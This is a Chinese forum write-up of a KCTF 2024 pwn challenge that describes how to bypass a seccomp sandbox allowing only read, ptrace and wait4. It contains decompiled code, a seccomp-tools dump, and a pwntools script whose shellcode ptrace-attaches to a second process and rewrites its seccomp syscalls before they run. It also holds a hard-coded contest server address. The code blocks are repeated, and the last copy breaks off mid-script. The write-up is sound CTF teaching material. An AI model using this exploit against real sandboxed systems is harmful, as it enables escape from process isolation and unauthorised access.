首页
社区
课程
招聘
[原创]KCTF 2024 第8题-星门-WriteUp-Ptrace绕过Seccomp
发表于: 2024-9-2 12:00 3089

[原创]KCTF 2024 第8题-星门-WriteUp-Ptrace绕过Seccomp

2024-9-2 12:00
3089

程序逻辑如上,使用mmap申请一块0x1000大小的可执行内存,通过read读取用户输入的内容,直接执行shellcode

我们可以利用一个工具来看到底设置了什么

secconp-tools

可以看到,seccomp 使用白名单模式,仅允许 read、ptrace、wait4,且检查了ARCH_X86_64和0x40000000。
参考一下PWN题中常见的seccomp绕过方法

以下这些一眼pass了
execve
open,write,read
0x40000000+sys_number绕过
通过retfq切换到32模式绕过

查阅资料发现可以通过ptrace修改掉syscall的调用号,大概意思就是seccomp处理后会通知调试进程,syscall-->seccomp-->ptrace,然后就可以通过ptrace的函数改掉syscall。

通过自己编译代码测试,不开seccomp的程序可以正常获取flag,开了seccomp就无法运行了。
卡了一天之后怀疑人生中,直到拉了这个通过ptrace 修改syscall的源码编译,发现也是无法绕过,一度怀疑网上相关的WP的正确性

通过在网上疯狂翻seccomp绕过相关的文章,直到看到V3rdant师傅的这篇文章
V3rdant-Linux.Seccomp-and-Ptrace
图片描述
得到2个关键信息:

也就是说linux内核版本4.8以上,通过ptrace修改完syscall之后,还是会交给seccomp检查。

看到这句话后有了灵感,也就是说从程序启动到seccomp_steup的这段时间内,如果能成功附加程序,就可以绕过seccomp了!

这里我构造了open、read、write的shellcode,当然execve也是可以的。

图片描述
得到flag{4297f44b13955235245b2497399d7a93}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+0h] [rbp-10h]
 
  init(argc, argv, envp);
  buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  setup_seccomp();
  read(0, buf, 0x1000uLL);
  ((void (*)(void))buf)();
  munmap(buf, 0x1000uLL);
  return 0;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+0h] [rbp-10h]
 
  init(argc, argv, envp);
  buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  setup_seccomp();
  read(0, buf, 0x1000uLL);
  ((void (*)(void))buf)();
  munmap(buf, 0x1000uLL);
  return 0;
}
__int64 setup_seccomp()
{
  __int64 v1; // [rsp+8h] [rbp-8h]
 
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 101LL, 0LL) < 0
    || (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0
    || (int)seccomp_rule_add(v1, 2147418112LL, 61LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    seccomp_release();
    exit(1);
  }
  if ( (int)seccomp_load(v1) < 0 )
  {
    perror("seccomp_load");
    seccomp_release();
    exit(1);
  }
  return seccomp_release();
}
__int64 setup_seccomp()
{
  __int64 v1; // [rsp+8h] [rbp-8h]
 
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    perror("seccomp_init");
    exit(1);
  }
  if ( (int)seccomp_rule_add(v1, 2147418112LL, 101LL, 0LL) < 0
    || (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0
    || (int)seccomp_rule_add(v1, 2147418112LL, 61LL, 0LL) < 0 )
  {
    perror("seccomp_rule_add");
    seccomp_release();
    exit(1);
  }
  if ( (int)seccomp_load(v1) < 0 )
  {
    perror("seccomp_load");
    seccomp_release();
    exit(1);
  }
  return seccomp_release();
}
root@809e3878db51:/home/sectest# seccomp-tools dump ./power
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x0000003d  if (A == wait4) goto 0008
 0007: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL
root@809e3878db51:/home/sectest# seccomp-tools dump ./power
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x0000003d  if (A == wait4) goto 0008
 0007: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL
#-*- coding: utf-8 -*-
from pwn import *
  
if len(sys.argv) != 2:
    print("Usage: python script.py <pid>")
    sys.exit(1)
 
#ip = "127.0.0.1"
ip = "47.101.191.23"
 
#p=process('./a.out')
#p = remote('127.0.0.1', 9999)
p = remote(ip, 9999)
context.arch = 'amd64'
#pid = 10000
pid = int(sys.argv[1])
print('PID: {}'.format(pid))
 
# 附加失败无限重试(ptrce == 0)
shellcode='''
begin_trace:
'''
shellcode += shellcraft.ptrace(0x10,pid,0,0)       #附加
shellcode += '''
   cmp eax,0x00
   jne begin_trace
continue:
'''
 
shellcode+=shellcraft.ptrace(0x18,pid,0,0)      #让目标下一个syscall停下来
shellcode+=shellcraft.wait4(pid,0,0)            #等待目标停下来
shellcode+=shellcraft.ptrace(12,pid,0,"rsp") #获取寄存器(struct user_regs_struct)到内存data中
shellcode+='''
   mov r8,rsp
   mov r11,qword ptr [r8+0x78]
 
   cmp r11,0x13D
   je change_13D
 
   cmp r11,0x3C
   je change_3C
 
   cmp r11,0xE7
   je change_E7
 
   cmp r11,0x9D
   je change_9D
 
   jmp continue
'''
 
# 13D和9D是seccomp相关的系统调用
# 3C和E7好像是exit
# 使用nc 连接两次,产生了两个进程,如果能在第二个进程运行前,通过ptrace截停prctl的调用,改成随便一个无关调用,就可以实现沙盒的绕过
shellcode+='''
change_13D:
    mov qword ptr [r8+0x78],0x20
    mov qword ptr [r8+0x50],0
    mov qword ptr [r8+0x58],0
    mov qword ptr [r8+0x60],0
    mov qword ptr [r8+0x68],0
    mov qword ptr [r8+0x70],0
    jmp END
change_3C:
    mov qword ptr [r8+0x78],0x20
    jmp END
change_E7:
    mov qword ptr [r8+0x78],0x20
    jmp END
change_9D:
    mov qword ptr [r8+80],0
    mov qword ptr [r8+88],0
    mov qword ptr [r8+96],0
    mov qword ptr [r8+104],0
    mov qword ptr [r8+112],0x26
    jmp END
END:
'''
 
 
shellcode+=shellcraft.ptrace(13,pid,"rsp") # 写回内存
shellcode+='''
    jmp continue
'''
 
p.sendline(asm(shellcode))
p.interactive()
#-*- coding: utf-8 -*-
from pwn import *
  
if len(sys.argv) != 2:
    print("Usage: python script.py <pid>")
    sys.exit(1)
 
#ip = "127.0.0.1"
ip = "47.101.191.23"
 
#p=process('./a.out')
#p = remote('127.0.0.1', 9999)
p = remote(ip, 9999)
context.arch = 'amd64'
#pid = 10000
pid = int(sys.argv[1])
print('PID: {}'.format(pid))
 
# 附加失败无限重试(ptrce == 0)
shellcode='''
begin_trace:
'''
shellcode += shellcraft.ptrace(0x10,pid,0,0)       #附加
shellcode += '''
   cmp eax,0x00
   jne begin_trace
continue:
'''
 
shellcode+=shellcraft.ptrace(0x18,pid,0,0)      #让目标下一个syscall停下来
shellcode+=shellcraft.wait4(pid,0,0)            #等待目标停下来
shellcode+=shellcraft.ptrace(12,pid,0,"rsp") #获取寄存器(struct user_regs_struct)到内存data中
shellcode+='''
   mov r8,rsp
   mov r11,qword ptr [r8+0x78]
 
   cmp r11,0x13D
   je change_13D
 
   cmp r11,0x3C
   je change_3C
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-9-2 14:34 被wx_孤城编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//